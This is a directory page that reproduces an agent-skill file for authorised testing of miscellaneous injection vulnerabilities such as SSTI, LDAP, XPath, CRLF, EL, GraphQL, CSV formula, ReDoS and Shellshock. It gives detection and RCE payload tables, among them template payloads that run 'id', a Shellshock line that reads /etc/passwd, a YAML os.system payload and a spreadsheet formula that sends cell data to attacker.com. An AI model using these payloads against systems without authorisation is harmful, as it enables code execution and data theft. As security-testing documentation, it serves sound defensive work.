金色时刻 · 15:48
让好资源,触手可及
AGENT SKILL

injection-testing

injection-testing 是面向测试与安全的 Agent Skill,来自 anshumanbh/securevibes。查看技能说明、操作步骤与使用约定,并通过原项目了解详细用法。

Validate miscellaneous injection vulnerabilities NOT covered by dedicated skills. Covers SSTI, LDAP, XPath, XQuery, CRLF/HTTP Header, Email Header, GraphQL, Expression Language (EL/OGNL), JSON/JavaScript eval injection, ORM/HQL, CSV/Formula, Regex (ReDoS), YAML config, and Shellshock-style injection. Use when testing CWE-1336 (SSTI), CWE-90 (LDAP), CWE-643 (XPath), CWE-652 (XQuery), CWE-93/CWE-113 (CRLF/Header), CWE-917 (EL), CWE-94/CWE-95 (Code/Eval injection), CWE-1333 (ReDoS), CWE-1236 (CSV/Formula), and related injection classes.

SKILL.md

下载 MD ↓
nameinjection-testing
descriptionValidate miscellaneous injection vulnerabilities NOT covered by dedicated skills. Covers SSTI, LDAP, XPath, XQuery, CRLF/HTTP Header, Email Header, GraphQL, Expression Language (EL/OGNL), JSON/JavaScript eval injection, ORM/HQL, CSV/Formula, Regex (ReDoS), YAML config, and Shellshock-style injection. Use when testing CWE-1336 (SSTI), CWE-90 (LDAP), CWE-643 (XPath), CWE-652 (XQuery), CWE-93/CWE-113 (CRLF/Header), CWE-917 (EL), CWE-94/CWE-95 (Code/Eval injection), CWE-1333 (ReDoS), CWE-1236 (CSV/Formula), and related injection classes.
allowed-toolsRead, Write, Bash

Injection Testing Skill (Miscellaneous)

Purpose

Validate miscellaneous injection vulnerabilities by sending crafted payloads to user-controlled inputs and observing: - Template evaluation (SSTI) - Query manipulation (LDAP, XPath, XQuery, GraphQL, ORM/HQL) - Header manipulation (CRLF, HTTP Header, Email Header) - Expression/code evaluation (EL, OGNL, Spring EL, JavaScript eval) - Resource exhaustion (ReDoS) - Formula execution (CSV/Spreadsheet injection) - Config manipulation (YAML, Environment variables)

Scope Note

This skill covers injection types WITHOUT dedicated skills.

For the following, use the dedicated skills: - SQL Injection → sql-injection-testing - NoSQL Injection → nosql-injection-testing - Cross-Site Scripting (XSS) → xss-testing - XML External Entity (XXE) → xxe-testing - OS Command Injection → command-injection-testing

Vulnerability Types Covered

1. Server-Side Template Injection - SSTI (CWE-1336)

Inject template expressions that execute on server.

Detection Methods: - Math evaluation: {{7*7}} returns 49 in response - Engine fingerprinting: Different payloads for Jinja2, Twig, Freemarker, Velocity, Pebble, Thymeleaf

Common Payloads by Engine:

Engine Detection Payload RCE Payload Example
Jinja2 (Python) {{7*7}} {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig (PHP) {{7*7}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Freemarker (Java) ${7*7} <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity (Java) #set($x=7*7)$x #set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime"...
Thymeleaf (Java) ${7*7} ${T(java.lang.Runtime).getRuntime().exec('id')}
Pebble (Java) {{7*7}} (Limited sandbox escape)
Smarty (PHP) {7*7} {system('id')}
ERB (Ruby) <%= 7*7 %> <%= system('id') %>

2. LDAP Injection (CWE-90)

Manipulate LDAP queries via special characters.

Detection Methods: - Wildcard bypass: * returns all entries - Filter manipulation: )(cn=*) modifies filter logic - Boolean-based: )(|(password=*)) vs normal query

Test Payloads:

*
*)(&
*)(|(&
admin)(|(password=*))
admin)(!(&(1=0
*))%00

3. XPath Injection (CWE-643)

Manipulate XPath queries in XML-based applications.

Detection Methods: - Boolean-based: ' or '1'='1 returns all nodes - Error-based: ' causes XPath syntax error - Union-style: ' or count(//*)>0 or '1'='1

Test Payloads:

' or '1'='1
' or ''='
1 or 1=1
'] | //user/*[contains(*,'
' or count(//*)>0 or '1'='1

4. XQuery Injection (CWE-652)

Manipulate XQuery expressions in XML databases.

Detection Methods: - Similar to XPath; targets XQuery-capable systems (eXist-db, MarkLogic, BaseX)

Test Payloads:

' or '1'='1
') or ('1'='1
for $x in doc("users.xml")//user return $x

5. CRLF / HTTP Header Injection (CWE-93, CWE-113)

Inject carriage return/line feed to manipulate HTTP headers.

Detection Methods: - Response splitting: %0d%0aSet-Cookie:injected=value adds header - Header injection: %0d%0aX-Injected:header appears in response headers - Host header poisoning: Manipulated Host header affects redirects/URLs

Test Payloads:

%0d%0aInjected-Header:value
%0d%0aSet-Cookie:session=hijacked
%0d%0a%0d%0a<html>Injected Body</html>
\r\nX-Injected:true

6. Email Header Injection (CWE-93)

Inject headers into email messages via SMTP.

Detection Methods: - BCC injection: [email protected]%0ABcc:[email protected] adds BCC - Subject manipulation: %0ASubject:Spoofed changes subject

Test Payloads:

[email protected]%0ABcc:[email protected]
[email protected]\r\nBcc:[email protected]
test%0ACc:[email protected]
test\nSubject:INJECTED

7. Expression Language Injection (CWE-917)

Inject EL expressions in Java-based frameworks (Spring, JSP, OGNL).

Detection Methods: - Math evaluation: ${7*7} or #{7*7} returns 49 - Object access: ${applicationScope} leaks data

Test Payloads by Framework:

Framework Detection Notes
Spring EL ${7*7}, #{7*7} Double resolution in older versions
OGNL (Struts) %{7*7}, ${7*7} Many CVEs (Struts2)
JSP EL ${7*7}, #{7*7} Standard Java EE
MVEL ${7*7} Used in some workflow engines

8. JSON/JavaScript Eval Injection (CWE-94, CWE-95)

Inject JavaScript expressions into server-side evaluation contexts (Node.js or embedded JS engines) where user input is passed to eval(), Function(), vm.runInNewContext, or similar.

Detection Methods: - Math evaluation: 7*7 returns 49 (computed, not echoed) - Built-in evaluation: Math.imul(7,7) returns 49 - Structure evaluation: ['a','b'].length returns 2

Test Payloads (detection-only):

7*7
Math.imul(7,7)
['a','b'].length
JSON.stringify({a:1})

Safety: Treat any server-side JavaScript evaluation as high-risk; stop at detection-only payloads.

9. GraphQL Injection (CWE-74, CWE-89 variant)

Manipulate GraphQL queries for data exfiltration or DoS.

Detection Methods: - Introspection abuse: {__schema{types{name}}} reveals schema - Batching attacks: Multiple queries in single request - Nested query DoS: Deep nesting causes resource exhaustion - Field suggestion: Error messages reveal valid fields

Test Payloads:

{__schema{queryType{name}}}
{__schema{types{name,fields{name}}}}
query{user(id:"1' OR '1'='1"){name}}
{user(id:1){friends{friends{friends{name}}}}}

10. ORM/HQL Injection (CWE-89 variant, CWE-943)

Inject into ORM queries beyond basic SQL (Hibernate HQL, JPA JPQL, Django ORM).

Detection Methods: - HQL-specific syntax: ' and 1=1 -- in Hibernate - JPQL injection: Concatenated JPQL strings - Django ORM: __ field lookup manipulation

Test Payloads:

' or 1=1 --
' and substring(username,1,1)='a
admin' AND (SELECT COUNT(*) FROM User)>0 AND '1'='1

11. CSV/Formula Injection (CWE-1236)

Inject spreadsheet formulas into exported CSV/Excel files.

Detection Methods: - Formula execution: =1+1 or =cmd|'/C calc'!A0 in exported data - DDE injection: =IMPORTXML(...) data exfiltration

Test Payloads (detection only):

=1+1
=SUM(1,2)
+1+1
-1+1
@SUM(1+1)
=cmd|'/C calc'!A0
=HYPERLINK("http://attacker.com/?data="&A1)

Note: Test only in isolated environments; formulas can execute on user machines.

12. Regex Injection / ReDoS (CWE-1333)

Inject patterns causing catastrophic backtracking in regex engines.

Detection Methods: - Time-based: Malicious pattern causes significant delay - Resource exhaustion: CPU spike from nested quantifiers

Test Payloads:

(a+)+$
((a+)+)+$
(a|a)+$
([a-zA-Z]+)*$
(.*a){x}  (where x is large, e.g., 20)

Target input for (a+)+$: aaaaaaaaaaaaaaaaaaaaaaaa!

13. YAML/Config Injection (CWE-502 related)

Inject YAML constructs for config manipulation (non-deserialization scenarios).

Detection Methods: - Anchor abuse: *alias references in YAML - Merge key injection: <<: merges dictionaries - Multi-document: --- separates documents

Test Payloads:

key: !!python/object/apply:os.system ['id']
<<: *dangerous_anchor
admin: true
---
override: value

14. Shellshock/Environment Variable Injection (CWE-78 variant)

Inject into environment variables processed by bash.

Detection Methods: - Function injection: () { :; }; echo VULNERABLE - CGI exploitation: Via User-Agent, Referer headers to CGI scripts

Test Payloads:

() { :; }; echo SHELLSHOCK
() { :; }; /bin/sleep 5
() { :;}; /bin/cat /etc/passwd

Prerequisites

  • Target application running and reachable
  • Identified injection points (parameters, headers, body fields)
  • VULNERABILITIES.json with suspected injection findings if provided

Testing Methodology

Phase 1: Identify Injection Points

Analyze for potential injection vectors: - URL parameters: Query strings, path segments - POST body: JSON, form data, GraphQL queries - HTTP headers: User-Agent, Referer, X-Forwarded-For, Host, Cookie - File exports: CSV downloads, report generation - Email functionality: Contact forms, notification systems - Template rendering: User-controlled content in pages/emails - Search/filter features: Often use LDAP, XPath, or custom queries

Phase 2: Establish Baseline

Send normal request and record: - Response time (for time-based detection) - Response content/length (for boolean-based detection) - HTTP status code - Response headers (for header injection)

Phase 3: Execute Injection Tests

SSTI Test:

payloads = ["{{7*7}}", "${7*7}", "<%= 7*7 %>", "#{7*7}", "{7*7}"]
for payload in payloads:
    resp = get(f"/template?name={quote(payload)}")
    if "49" in resp.text:
        status = "VALIDATED"
        engine = identify_engine(payload)

LDAP Injection Test:

baseline = get("/search?user=john")
test = get("/search?user=*")
if len(test.text) > len(baseline.text) * 5:
    status = "VALIDATED"  # Wildcard returned all users

CRLF Injection Test:

payload = "test%0d%0aX-Injected:true"
resp = get(f"/redirect?url={payload}")
if "X-Injected" in resp.headers:
    status = "VALIDATED"

EL Injection Test:

payloads = ["${7*7}", "#{7*7}", "%{7*7}"]
for payload in payloads:
    resp = get(f"/page?input={quote(payload)}")
    if "49" in resp.text:
        status = "VALIDATED"

ReDoS Test:

baseline_time = measure("/search?pattern=test")
malicious_pattern = "(a+)+$"
malicious_input = "a" * 30 + "!"
test_time = measure(f"/search?pattern={quote(malicious_pattern)}&input={quote(malicious_input)}")
if test_time > baseline_time + 5:
    status = "VALIDATED"

Phase 4: Classification Logic

Status Meaning
VALIDATED Injection confirmed (eval, data leak, header added, delay)
FALSE_POSITIVE Input properly sanitized
PARTIAL Some indicators but not definitive
UNVALIDATED Blocked, error, or insufficient evidence

Phase 5: Capture Evidence

Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response): - status, injection_type, cwe - Baseline request (url, method, status, response_time) - Test request (url, method, status, response details) - Payload used and detected indicator

Phase 6: Safety Rules

  • Detection-only payloads (math evaluation, timing, markers)
  • NEVER execute destructive commands via SSTI/EL
  • Do not exfiltrate real data
  • CSV formula testing only in isolated environments
  • Respect rate limits; avoid causing DoS

Output Guidelines

  • Keep responses concise (1-4 sentences)
  • Include endpoint, payload, detection method, and impact

Validated examples:

SSTI (Jinja2) on /greet - {{7*7}} evaluated to 49. RCE possible via template engine.
LDAP injection on /search - wildcard returned 500+ users vs 1. Data exposure risk.
CRLF injection on /redirect - X-Injected header added to response. Response splitting possible.
EL injection on /page - ${7*7} evaluated in Spring EL context. Code execution risk.
GraphQL introspection on /graphql - schema exposed via __schema query. API structure revealed.

Unvalidated example:

SSTI test incomplete on /template - all payloads returned literal text. Evidence: path/to/evidence.json

CWE Mapping

Primary CWEs (DAST-testable): - CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (SSTI) - CWE-90: Improper Neutralization of Special Elements used in an LDAP Query (LDAP Injection) - CWE-643: Improper Neutralization of Data within XPath Expressions (XPath Injection) - CWE-652: Improper Neutralization of Data within XQuery Expressions (XQuery Injection) - CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting) - CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax - CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (EL Injection) - CWE-1333: Inefficient Regular Expression Complexity (ReDoS) - CWE-1236: Improper Neutralization of Formula Elements in a CSV File (CSV/Formula Injection) - CWE-94: Improper Control of Generation of Code (Code Injection) - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (Eval Injection)

Additional CWEs commonly implicated by covered techniques: - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (GraphQL introspection / verbose errors) - CWE-400: Uncontrolled Resource Consumption (GraphQL depth/batching and ReDoS impact) - CWE-502: Deserialization of Untrusted Data (unsafe YAML object deserialization) - CWE-78: OS Command Injection (Shellshock-style environment variable injection) - CWE-89: SQL Injection (ORM/HQL and GraphQL arguments reaching SQL sinks) - CWE-564: SQL Injection: Hibernate (HQL/JPQL variants) - CWE-943: Improper Neutralization of Special Elements in Data Query Logic (query-language injection class)

Related/Parent CWEs: - CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection - parent) - CWE-96: Improper Neutralization of Directives in Statically Saved Code (Static Code Injection) - CWE-97: Improper Neutralization of Server-Side Includes (SSI Injection) - CWE-99: Improper Control of Resource Identifiers (Resource Injection) - CWE-116: Improper Encoding or Escaping of Output - CWE-20: Improper Input Validation

Related Attack Patterns: - CAPEC-250: XML Injection - CAPEC-136: LDAP Injection - CAPEC-83: XPath Injection - CAPEC-34: HTTP Response Splitting - CAPEC-105: HTTP Request Splitting - CAPEC-15: Command Delimiters - CAPEC-468: Generic Cross-Browser Cross-Domain Theft

Notable CVEs (examples)

  • CVE-2025-66438 (Frappe ERPNext): SSTI via Print Format rendering (CVSS 9.8).
  • CVE-2023-22527 (Atlassian Confluence): OGNL injection leading to RCE.
  • CVE-2022-22965 (Spring4Shell): Spring EL injection via data binding.
  • CVE-2021-44228 (Log4Shell): JNDI lookup injection (related to EL concepts).
  • CVE-2020-17530 (Apache Struts): OGNL injection via tag attributes.
  • CVE-2019-11358 (jQuery): Prototype pollution (related injection pattern).
  • CVE-2017-9805 (Apache Struts): REST plugin XStream RCE.

Safety Reminders

  • ONLY test against user-approved targets
  • Use detection-only payloads (math eval, timing, markers)
  • NEVER execute destructive commands via SSTI/EL
  • Do not exfiltrate real data
  • CSV formula testing only in isolated environments
  • Stop if production protections trigger

Reference Implementations

  • See reference/injection_payloads.py for payload generators by injection type
  • See reference/validate_injection.py for injection validation flow
  • See examples.md for concrete scenarios and evidence formats

Additional Resources

来源:anshumanbh/securevibes · GPL 许可 · 许可原文 · MD 为来源页保存的历史版本